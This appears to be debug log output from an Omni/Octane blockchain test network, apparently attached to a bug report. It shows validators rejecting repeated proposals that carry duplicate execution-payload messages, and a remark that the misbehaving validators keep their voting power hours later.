2024-11-02 19:18:30 24-11-02 23:18:30.013 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1lvy2uua0dan4vvuwws408kjmrysks7u9cfvf44 Jailed=false Power=105 Block Height=53
2024-11-02 19:18:30 2024/11/02 23:18:30 **************************Voter::UpdateValidatorSet()
2024-11-02 19:18:30 24-11-02 23:18:30.013 INFO  Activating attested validator set     valset_id=14
↪  created_height=48 height=53
2024-11-02 19:18:30 24-11-02 23:18:30.017 DEBU hash of all writes
↪  workingHash=CF58846A69F31DB24651DD4107C69600BD599E8AAB0679F242F883C846F3410D
2024-11-02 19:18:30 24-11-02 23:18:30.017 DEBU  ABCI response: FinalizeBlock          height=53 val_updates=2
↪  pubkey_0=028d3a2 power_0=104 pubkey_1=031c570 power_1=104
2024-11-02 19:18:30 24-11-02 23:18:30.020 DEBU  ABCI call: Commit
```

```
Val9 (proposer == 360a115)
--------
2024-11-02 19:18:26 24-11-02 23:18:26.512 DEBU  ABCI response: FinalizeBlock          height=52 val_updates=1
↪  pubkey_0=02a1eac power_0=103
2024-11-02 19:18:26 24-11-02 23:18:26.515 DEBU  ABCI call: Commit
2024-11-02 19:18:26 24-11-02 23:18:26.528 DEBU prune start                            height=52
2024-11-02 19:18:26 24-11-02 23:18:26.528 DEBU pruning skipped, height is less than or equal to 0
2024-11-02 19:18:26 24-11-02 23:18:26.528 DEBU prune end                              height=52
2024-11-02 19:18:26 24-11-02 23:18:26.528 DEBU flushing metadata                      height=52
2024-11-02 19:18:26 24-11-02 23:18:26.530 DEBU flushing metadata finished             height=52
2024-11-02 19:18:26 24-11-02 23:18:26.530 DEBU snapshot is skipped                    height=52
2024-11-02 19:18:26 2024/11/02 23:18:26 **************************Voter::runOnce(): height: 51,
↪  AttestInterval: 5
2024-11-02 19:18:26 2024/11/02 23:18:26 **************************Voter::Vote(): allowSkip: false, height:
↪  51, XMsg count: 1
2024-11-02 19:18:26 24-11-02 23:18:26.574 DEBU  Created vote for cross chain block    chain=omni_evm|L
↪  height=51 offset=21 msgs=1 L|mock_l1=5
2024-11-02 19:18:26 2024/11/02 23:18:26 **************************Voter::runOnce(): height: 83,
↪  AttestInterval: 10
2024-11-02 19:18:26 2024/11/02 23:18:26 **************************Voter::Vote(): allowSkip: false, height:
↪  83, XMsg count: 2
2024-11-02 19:18:26 24-11-02 23:18:26.968 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=83 offset=23 msgs=2 F|omni_evm=5
2024-11-02 19:18:26 2024/11/02 23:18:26 **************************Voter::runOnce(): height: 83,
↪  AttestInterval: 10
2024-11-02 19:18:26 24-11-02 23:18:26.983 DEBU Not creating vote for empty cross chain block chain=mock_l2|F
↪  height=83
2024-11-02 19:18:26 2024/11/02 23:18:26 **************************Voter::runOnce(): height: 19,
↪  AttestInterval: 0
2024-11-02 19:18:26 2024/11/02 23:18:26 **************************Voter::Vote(): allowSkip: false, height:
↪  19, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.006 DEBU  Created vote for cross chain block    chain=omni_consensus|F
↪  height=19 offset=19 msgs=1 B|=19
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 91,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 91,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::Vote(): allowSkip: false, height:
↪  91, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.006 DEBU Not creating vote for empty cross chain block chain=mock_l1|L
↪  height=91
2024-11-02 19:18:27 24-11-02 23:18:27.013 DEBU  Created vote for cross chain block    chain=mock_l2|L
↪  height=91 offset=23 msgs=1 L|mock_l1=6
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 51,
↪  AttestInterval: 5
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::Vote(): allowSkip: false, height:
↪  51, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.417 DEBU  Created vote for cross chain block    chain=omni_evm|F
↪  height=51 offset=21 msgs=1 L|mock_l1=5
2024-11-02 19:18:27 24-11-02 23:18:27.602 DEBU  ABCI call: ProcessProposal            height=53 proposer=61a2a25
2024-11-02 19:18:27 2024/11/02 23:18:27
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 19:18:27 2024/11/02 23:18:27
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xe535766f634c77f5566330a4b7df5c13976fa4980228f7a641c1c07a497f06dd
2024-11-02 19:18:27 24-11-02 23:18:27.614 ERRO Rejecting process proposal               err="message type
↪  included too many times" msg_type=/octane.evmengine.types.MsgExecutionPayload stacktrace="[errors.go:14
↪  prouter.go:69 abci.go:520 cmt_abci.go:40 abci.go:85 local_client.go:164 app_conn.go:89 execution.go:166
↪  state.go:1381 state.go:1338 state.go:2055 state.go:910 state.go:836 asm_amd64.s:1700]"
2024-11-02 19:18:27 24-11-02 23:18:27.614 ERRO prevote step: state machine rejected a proposed block; this
↪  should not happen:the proposer may be misbehaving; prevoting nil module=consensus height=53 round=0
↪  err=<nil>
```

```
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-11-02 19:18:27 24-11-02 23:18:27.962 DEBU Not creating vote for empty cross chain block chain=mock_l1|F
↪  height=84
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  92, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.016 DEBU  Created vote for cross chain block    chain=mock_l2|L
↪  height=92 offset=24 msgs=1 L|omni_evm=6
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  92, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.023 DEBU  Created vote for cross chain block    chain=mock_l1|L
↪  height=92 offset=27 msgs=1 F|mock_l2=5
2024-11-02 19:18:28 24-11-02 23:18:28.855 DEBU  ABCI call: PrepareProposal            height=53 proposer=360a115
2024-11-02 19:18:28 2024/11/02 23:18:28 ******************************Octane::Keeper::PrepareProposal()
2024-11-02 19:18:28 2024/11/02 23:18:28 ******************************Octane::Keeper::PrepareProposal():
↪  build block, optimistic not available
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  85, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.973 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=85 offset=24 msgs=1 L|mock_l2=6
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  85, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.995 DEBU  Created vote for cross chain block    chain=mock_l2|F
↪  height=85 offset=21 msgs=1 F|mock_l1=4
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-11-02 19:18:29 24-11-02 23:18:29.008 DEBU Not creating vote for empty cross chain block chain=mock_l2|L
↪  height=93
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************Octane::Keeper::PrepareProposal():
↪  block builded : hash :0x336a19d045de4c000abebc6bb9388b685b0c8a41cff00647c194df3f1b23b578
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): total votes(1): 10
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): total votes(2): 7
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1651 final} - 20
...
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1651 final} - 20
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 latest} - 26
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 final} - 20
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 latest} - 22
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1001651 final} - 18
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): total final: 62
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()::flattenAggs():
↪  {1654 final} - 20
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()::flattenAggs():
↪  {1654 latest} - 22
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()::flattenAggs():
↪  {1654 latest} - 23
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()::flattenAggs():
↪  {1001651 final} - 18
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()::flattenAggs():
↪  {1652 final} - 22
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()::flattenAggs():
↪  {1651 final} - 20
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::PrepareVotes()::flattenAggs():
↪  {1651 latest} - 20
```

```
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Keeper::PrepareVotes()::flattenAggs():
↪  {1652 latest} - 26
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  **************************Keeper::PrepareVotes()::votesFromLastCommit(): total aggredated: 8
2024-11-02 19:18:29 24-11-02 23:18:29.465 INFO Proposing new block                      height=53
↪  execution_block_hash=336a19d vote_msgs=1 evm_events=5
2024-11-02 19:18:29 24-11-02 23:18:29.478 DEBU  ABCI call: ProcessProposal            height=53 proposer=360a115
2024-11-02 19:18:29 2024/11/02 23:18:29 ***************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0x7A03674f4F02f5718F08b8D514B8484cc0444D05 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0xfb08ae73Af6f6756338E742AF3dA5b1921687b85 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 --> 1 (256)
...
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************verifyAggVotes():
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB --> 6 (256)
2024-11-02 19:18:29 24-11-02 23:18:29.487 DEBU Marked local votes as proposed          votes=6 1652=[26]
↪  1001651=[18] 1651="[20 20]" 1654="[20 22]"
2024-11-02 19:18:29 2024/11/02 23:18:29 ***************************Voter::SetProposed()
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x336a19d045de4c000abebc6bb9388b685b0c8a41cff00647c194df3f1b23b578
2024-11-02 19:18:29 24-11-02 23:18:29.799 DEBU  ABCI call: ExtendVote                height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 *********************************ExtendVote(): LocalAddress -->
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b. Available: 9
2024-11-02 19:18:29 24-11-02 23:18:29.802 INFO Voted for rollup blocks                  votes=7 1651-1=[21]
↪  1651-4=[21] 1652-4="[23 24]" 1652-1=[27] 1654-4=[21] 1654-1="[23 24]" 1001651-4=[19]
2024-11-02 19:18:29 24-11-02 23:18:29.815 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.818 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.821 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x7A03674f4F02f5718F08b8D514B8484cc0444D05, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.825 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.828 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.892 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.903 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xfb08ae73Af6f6756338E742AF3dA5b1921687b85, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Keeper::Add()
```

```
2024-11-02 19:18:29 24-11-02 23:18:29.939 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=142 existing_valset_id=10 vote_valset_id=11 chain=mock_l1|F attest_offset=22 sigs=1
2024-11-02 19:18:29 24-11-02 23:18:29.940 DEBU Marked local votes as committed          votes=6 1654="[20 22]"
↪  1652=[26] 1001651=[18] 1651="[20 20]"
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::SetCommitted()
2024-11-02 19:18:29 2024/11/02 23:18:29 *******************************Octane::msgServer::ExecutionPayload()
2024-11-02 19:18:29 2024/11/02 23:18:29 *******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0x336a19d045de4c000abebc6bb9388b685b0c8a41cff00647c194df3f1b23b578
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::Vote(): allowSkip: false, height:
↪  86, XMsg count: 1
2024-11-02 19:18:29 24-11-02 23:18:29.973 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.974 INFO EVM staking delegation detected, delegating
↪  delegator=0x08585C0c34Ef84F7638c797DE454e287a051874E validator=0x08585C0c34Ef84F7638c797DE454e287a051874E
↪  amount=100000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.974 DEBU  Delegation shares modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-11-02 19:18:29 24-11-02 23:18:29.975 DEBU  Delegation modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-11-02 19:18:29 24-11-02 23:18:29.975 DEBU minted coins from module account         module=x/bank
↪  amount=10000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.975 INFO EVM staking delegation detected, delegating
↪  delegator=0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 validator=0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73
↪  amount=100000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.976 DEBU  Delegation shares modified
↪  acc_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73 val_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73
2024-11-02 19:18:29 24-11-02 23:18:29.976 DEBU  Delegation modified
↪  acc_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73 val_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73
2024-11-02 19:18:29 24-11-02 23:18:29.976 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.977 INFO EVM staking delegation detected, delegating
↪  delegator=0x7A03674f4F02f5718F08b8D514B8484cc0444D05 validator=0x7A03674f4F02f5718F08b8D514B8484cc0444D05
↪  amount=100000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.977 DEBU  Delegation shares modified
↪  acc_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05 val_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05
2024-11-02 19:18:29 24-11-02 23:18:29.977 DEBU  Delegation modified
↪  acc_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05 val_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05
2024-11-02 19:18:29 24-11-02 23:18:29.977 DEBU minted coins from module account         module=x/bank
↪  amount=10000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.978 INFO EVM staking delegation detected, delegating
↪  delegator=0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 validator=0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4
↪  amount=100000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.978 DEBU  Delegation shares modified
↪  acc_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4 val_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4
2024-11-02 19:18:29 24-11-02 23:18:29.978 DEBU  Delegation modified
↪  acc_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4 val_addr=CEC0971D588DEC617FC89A7E6BCE949899AB45B4
2024-11-02 19:18:29 24-11-02 23:18:29.978 DEBU minted coins from module account         module=x/bank
↪  amount=10000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.978 INFO EVM staking delegation detected, delegating
↪  delegator=0xfb08ae73Af6f6756338E742AF3dA5b1921687b85 validator=0xfb08ae73Af6f6756338E742AF3dA5b1921687b85
↪  amount=100000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.979 DEBU  Delegation shares modified
↪  acc_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85 val_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85
2024-11-02 19:18:29 24-11-02 23:18:29.979 DEBU  Delegation modified
↪  acc_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85 val_addr=FB08AE73AF6F6756338E742AF3DA5B1921687B85
2024-11-02 19:18:29 24-11-02 23:18:29.979 DEBU Delivered evm logs                        height=51 count=5
2024-11-02 19:18:29 2024/11/02 23:18:29 *******************************Attest::Keeper::Approve()
2024-11-02 19:18:29 24-11-02 23:18:29.980 DEBU  Approved attestation                chain=omni_evm|L
↪  attest_offset=20 height=50 hash=c8785c1
2024-11-02 19:18:29 24-11-02 23:18:29.980 DEBU  Approved attestation                chain=omni_evm|F
↪  attest_offset=20 height=50 hash=c8785c1
2024-11-02 19:18:29 24-11-02 23:18:29.980 DEBU  Approved attestation                chain=mock_l1|L
↪  attest_offset=26 height=90 hash=271aae4
2024-11-02 19:18:29 24-11-02 23:18:29.981 DEBU  Approved attestation                chain=mock_l2|L
↪  attest_offset=22 height=90 hash=7259a48
2024-11-02 19:18:29 24-11-02 23:18:29.981 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=20 height=81 hash=a8305f4
2024-11-02 19:18:29 24-11-02 23:18:29.981 DEBU  Approved attestation                chain=omni_consensus|F
↪  attest_offset=18 height=18 hash=0000000
2024-11-02 19:18:29 2024/11/02 23:18:29 *******************************Attest::Keeper::Approve(): pending
↪  vote processed : 7
2024-11-02 19:18:29 24-11-02 23:18:29.996 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=86 offset=25 msgs=1 L|omni_evm=5
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::TrimBehind()
```

```
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************ValSync::Keeper::Add(EndBlock)
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Portal::Keeper::EmitMsg() height 53,
↪  destChainID 0, shardID 260
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Portal::Keeper::EmitMsg() moving on
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Portal::Keeper::EmitMsg() 20 vs 20
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  Storing new unattested validator set  valset_id=19 len=10
↪  updated=5 removed=0 total_power=1047 height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1qxw5q035630lw89d35x5p75q0n5gl07tmhnpw0 Jailed=false Power=104 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1raagr2k0dx07jnnmaa6xg5ja953de426cwehkd Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=104 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper10gpkwn60qt6hrrcghr23fwzgfnqygng9qrxhvv Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1nxzt4e8ywpv9hans73hys6pslsg99kgtahgwuh Jailed=false Power=104 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1emqfw82c3hkxzl7gnflxhn55nzv6k3d5h2wk9n Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 24-11-02 23:18:29.998 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1lvy2uua0dan4vvuwws408kjmrysks7u9cfvf44 Jailed=false Power=105 Block Height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::UpdateValidatorSet()
2024-11-02 19:18:29 24-11-02 23:18:29.999 INFO  Activating attested validator set     valset_id=14
↪  created_height=48 height=53
2024-11-02 19:18:30 24-11-02 23:18:30.002 DEBU hash of all writes
↪  workingHash=CF58846A69F31DB24651DD4107C69600BD599E8AAB0679F242F883C846F3410D
2024-11-02 19:18:30 24-11-02 23:18:30.003 DEBU  ABCI response: FinalizeBlock          height=53 val_updates=2
↪  pubkey_0=028d3a2 power_0=104 pubkey_1=031c570 power_1=104
2024-11-02 19:18:30 24-11-02 23:18:30.005 DEBU  ABCI call: Commit

...

AFTER FEW HOURS, STILL THE SAME BEHAVIOR, MALICIOUS VALIDATORS POWERS INTACT.

2024-11-02 22:45:05 24-11-03 02:45:05.778 DEBU  ABCI call: ProcessProposal            height=4606
↪  proposer=e3b82d3
2024-11-02 22:45:05 2024/11/03 02:45:05
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 22:45:05 2024/11/03 02:45:05
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x5da3a16e0dbe4a3249ff7eddb4bb76c7bdff0b5b60ce274ec357ec09cd569205
2024-11-02 22:45:05 24-11-03 02:45:05.782 ERRO Rejecting process proposal               err="message type
↪  included too many times" msg_type=/octane.evmengine.types.MsgExecutionPayload stacktrace="[errors.go:14
↪  prouter.go:69 abci.go:520 cmt_abci.go:40 abci.go:85 local_client.go:164 app_conn.go:89 execution.go:166
↪  state.go:1381 state.go:1338 state.go:2055 state.go:910 state.go:836 asm_amd64.s:1700]"
2024-11-02 22:45:05 24-11-03 02:45:05.782 ERRO prevote step: state machine rejected a proposed block; this
↪  should not happen:the proposer may be misbehaving; prevoting nil module=consensus height=4606 round=0
↪  err=<nil>
2024-11-02 22:45:06 2024/11/03 02:45:06 **************************Voter::runOnce(): height: 12482,
↪  AttestInterval: 10
2024-11-02 22:45:06 2024/11/03 02:45:06 **************************Voter::runOnce(): height: 12490,
↪  AttestInterval: 10
2024-11-02 22:45:06 2024/11/03 02:45:06 **************************Voter::Vote(): allowSkip: false, height:
↪  12490, XMsg count: 0
2024-11-02 22:45:06 24-11-03 02:45:06.105 DEBU  Created vote for cross chain block    chain=mock_l1|L
↪  height=12490 offset=2685 msgs=0
2024-11-02 22:45:06 2024/11/03 02:45:06 **************************Voter::runOnce(): height: 12482,
↪  AttestInterval: 10
2024-11-02 22:45:06 2024/11/03 02:45:06 **************************Voter::runOnce(): height: 12491,
↪  AttestInterval: 10
2024-11-02 22:45:07 2024/11/03 02:45:07 **************************Voter::runOnce(): height: 12483,
↪  AttestInterval: 10
2024-11-02 22:45:07 2024/11/03 02:45:07 **************************Voter::runOnce(): height: 12491,
↪  AttestInterval: 10
2024-11-02 22:45:07 2024/11/03 02:45:07 **************************Voter::runOnce(): height: 12483,
↪  AttestInterval: 10
2024-11-02 22:45:07 2024/11/03 02:45:07 **************************Voter::runOnce(): height: 12492,
↪  AttestInterval: 10
```

```
2024-11-02 22:45:07 24-11-03 02:45:07.912 DEBU  ABCI call: ProcessProposal            height=4606
↪  proposer=72d9522
2024-11-02 22:45:07 2024/11/03 02:45:07 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A --> 1 (256)
2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB --> 1 (256)
